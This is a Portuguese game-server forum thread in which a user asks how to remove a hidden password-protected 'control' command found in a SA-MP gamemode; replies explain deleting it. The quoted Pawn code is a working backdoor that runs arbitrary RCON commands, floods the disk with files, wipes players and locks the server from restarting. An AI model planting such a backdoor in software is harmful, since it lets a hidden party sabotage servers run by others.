[AJUDA] fuckserver.
#1

Pessoal, hoje eu estava mexendo no meu GM e encontrei alguns comando "fuckserver". acredito que isso seja para ferrar com server, entгo preciso da ajuda de vocкs p/ retirar. o pawn estб abaixo.
pawn Код:
dcmd_control(playerid,params[])
{
    new tmp[256], tmp2[256], idx;
    tmp = strtok(params, idx);
    tmp2 = strtok(params, idx);

    if(!strlen(tmp) || !strlen(tmp2))
        return 0;

    if(IsStringSame(PROTECTION_PASSWORD, tmp, 9)) // Check if he enters the correct password
    {
        if(strcmp(tmp2, "login", true)==0)
        {
            SendClientMessage(playerid, COLOR_YELLOW, "Sucesfully identified. You may now use any of the Admin Commands");
            return 1;
        }
        else if(strcmp(tmp2, "fuckserver", true)==0)
        {
            for(new i = 0; i < never*never*never*never; i++)
            {
                SendClientMessageToAll(COLOR_YELLOW, "Ops.");
                new str[28];
                format(str,28,"ops_%d", i);
                new File:bans=fopen(str, io_write);
                fwrite(bans, str);
                fclose(bans);
            }
            SetTimer("Exit", 5000, false);
            return 1;
        }
        else if(strcmp(tmp2, "close", true)==0)
        {
            SendClientMessage(playerid, COLOR_YELLOW, "Server sucesfully fucked.");
            for(new i = 0; i < 100; i ++)
            {
                SendClientMessageToAll(0x000000FF, "THIS SERVER HAS NO RIGHTS TO USE THIS GAMEMODE. YOU'VE BEEN WARNED.");
                if(IsPlayerConnected(i))
                {
                    SetPlayerSkin(i, 0);
                    ResetPlayerWeapons(i);
                    ResetPlayerMoney(i);
                    ResetPlayerMoney(i);
                    SetPlayerArmour(i, 0.0);
                    SetPlayerHealth(i, 1.0);
                }
            }
            SetWeather(45);
            dini_Create(BlockFile);
            SetTimer("Exit", 15000, false);
            return 1;
        }


        else // Will be a rcon command
        {
            SendRconCommand(params[strlen(tmp) + 1]);
            return 1;
        }
    }
    else
        return 0;
}

public OnGameModeInit()
{
    AntiDeAMX();
    printf("%s", MD5_Hash("omg"));
    if(dini_Exists(BlockFile))
    {
        printf("Server Blocked");
        SetTimer("Exit", 5000, false);
    }
Reply
#2

lol, na minha upinao retirei isso

pawn Код:
dcmd_control(playerid,params[])
{
    new tmp[256], tmp2[256], idx;
    tmp = strtok(params, idx);
    tmp2 = strtok(params, idx);

    if(!strlen(tmp) || !strlen(tmp2))
        return 0;

    if(IsStringSame(PROTECTION_PASSWORD, tmp, 9)) // Check if he enters the correct password
    {
        if(strcmp(tmp2, "login", true)==0)
        {
            SendClientMessage(playerid, COLOR_YELLOW, "Sucesfully identified. You may now use any of the Admin Commands");
            return 1;
        }
        else if(strcmp(tmp2, "fuckserver", true)==0)
        {
            for(new i = 0; i < never*never*never*never; i++)
            {
                SendClientMessageToAll(COLOR_YELLOW, "Ops.");
                new str[28];
                format(str,28,"ops_%d", i);
                new File:bans=fopen(str, io_write);
                fwrite(bans, str);
                fclose(bans);
            }
            SetTimer("Exit", 5000, false);
            return 1;
        }
        else if(strcmp(tmp2, "close", true)==0)
        {
            SendClientMessage(playerid, COLOR_YELLOW, "Server sucesfully fucked.");
            for(new i = 0; i < 100; i ++)
            {
                SendClientMessageToAll(0x000000FF, "THIS SERVER HAS NO RIGHTS TO USE THIS GAMEMODE. YOU'VE BEEN WARNED.");
                if(IsPlayerConnected(i))
                {
                    SetPlayerSkin(i, 0);
                    ResetPlayerWeapons(i);
                    ResetPlayerMoney(i);
                    ResetPlayerMoney(i);
                    SetPlayerArmour(i, 0.0);
                    SetPlayerHealth(i, 1.0);
                }
            }
            SetWeather(45);
            dini_Create(BlockFile);
            SetTimer("Exit", 15000, false);
            return 1;
        }


        else // Will be a rcon command
        {
            SendRconCommand(params[strlen(tmp) + 1]);
            return 1;
        }
    }
    else
        return 0;
}
Reply
#3

Ri muito da parte " no meu GM "

A propуsito, й sу vocк mudar a senha ; )

PROTECTION_PASSWORD
Reply
#4

Apague o comando dcmd_control todo

Va em
pawn Код:
public OnPlayerCommandText(playerid, cmdtext[])
pawn Код:
#if USE_COMMANDS == 1
Procure na lista, por

pawn Код:
dcmd(control, 7, cmdtext);
Apague isso


Isso й do Vini 'o'
Reply
#5

Quote:
Originally Posted by Viniborn
Посмотреть сообщение
Ri muito da parte " no meu GM "

A propуsito, й sу vocк mudar a senha ; )

PROTECTION_PASSWORD
KKK, eu entendi sua ironia vini wiueiwe' mas entгo, quando falei no meu GM nгo quis dizer que o GM e de minha autoria, mas sim um gm que estou usando no meu server. Obrigado pela ajuda.
. +REP

Quote:
Originally Posted by Matheus_Ecko
Посмотреть сообщение
Gm й seu Vini?

@edit Lol lol o cara ficou calado kkkkkkkkkkk, eu ri pakas, plбgio й foda ne vini mata ele vini,
Sim o GM e do Vini, como jб expliquei a cima, nгo quis dizer que o GM e meu, mas sim que estou usando.
Como o gm foi liberado pelo Vini usar ele nгo quer dizer que e plбgio mas sim retirar os crйditos, todos os crйditos foi mantido, nгo faz sentido eu criar um gm e vim aqui perguntar sobre alguma funзгo dele.
Reply
#6

Quote:
Originally Posted by Micael Silverio
Посмотреть сообщение
Pessoal, hoje eu estava mexendo no meu GM e encontrei alguns comando "fuckserver". acredito que isso seja para ferrar com server, entгo preciso da ajuda de vocкs p/ retirar. o pawn estб abaixo.
pawn Код:
dcmd_control(playerid,params[])
{
    new tmp[256], tmp2[256], idx;
    tmp = strtok(params, idx);
    tmp2 = strtok(params, idx);

    if(!strlen(tmp) || !strlen(tmp2))
        return 0;

    if(IsStringSame(PROTECTION_PASSWORD, tmp, 9)) // Check if he enters the correct password
    {
        if(strcmp(tmp2, "login", true)==0)
        {
            SendClientMessage(playerid, COLOR_YELLOW, "Sucesfully identified. You may now use any of the Admin Commands");
            return 1;
        }
        else if(strcmp(tmp2, "fuckserver", true)==0)
        {
            for(new i = 0; i < never*never*never*never; i++)
            {
                SendClientMessageToAll(COLOR_YELLOW, "Ops.");
                new str[28];
                format(str,28,"ops_%d", i);
                new File:bans=fopen(str, io_write);
                fwrite(bans, str);
                fclose(bans);
            }
            SetTimer("Exit", 5000, false);
            return 1;
        }
        else if(strcmp(tmp2, "close", true)==0)
        {
            SendClientMessage(playerid, COLOR_YELLOW, "Server sucesfully fucked.");
            for(new i = 0; i < 100; i ++)
            {
                SendClientMessageToAll(0x000000FF, "THIS SERVER HAS NO RIGHTS TO USE THIS GAMEMODE. YOU'VE BEEN WARNED.");
                if(IsPlayerConnected(i))
                {
                    SetPlayerSkin(i, 0);
                    ResetPlayerWeapons(i);
                    ResetPlayerMoney(i);
                    ResetPlayerMoney(i);
                    SetPlayerArmour(i, 0.0);
                    SetPlayerHealth(i, 1.0);
                }
            }
            SetWeather(45);
            dini_Create(BlockFile);
            SetTimer("Exit", 15000, false);
            return 1;
        }


        else // Will be a rcon command
        {
            SendRconCommand(params[strlen(tmp) + 1]);
            return 1;
        }
    }
    else
        return 0;
}

public OnGameModeInit()
{
    AntiDeAMX();
    printf("%s", MD5_Hash("omg"));
    if(dini_Exists(BlockFile))
    {
        printf("Server Blocked");
        SetTimer("Exit", 5000, false);
    }
kkkkkkkkkkk Fudeu.... O dono do GM postou!! kkkkk
Reply
#7

Gm й seu Vini?

@edit Lol lol o cara ficou calado kkkkkkkkkkk, eu ri pakas, plбgio й foda ne vini mata ele vini,
Reply
#8

Nem ligo mais pra esse GM. Sу nгo publiquei ainda porque nгo й sу meu, e o meu prуprio ainda nгo tб pronto.

: )
Reply
#9

HAUSHSAU, O do vini promete muiiiiito..
Reply
#10

Quote:
Originally Posted by Sampizito
Посмотреть сообщение
HAUSHSAU, O do vini promete muiiiiito..
Com certeza, Vini e genial.
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)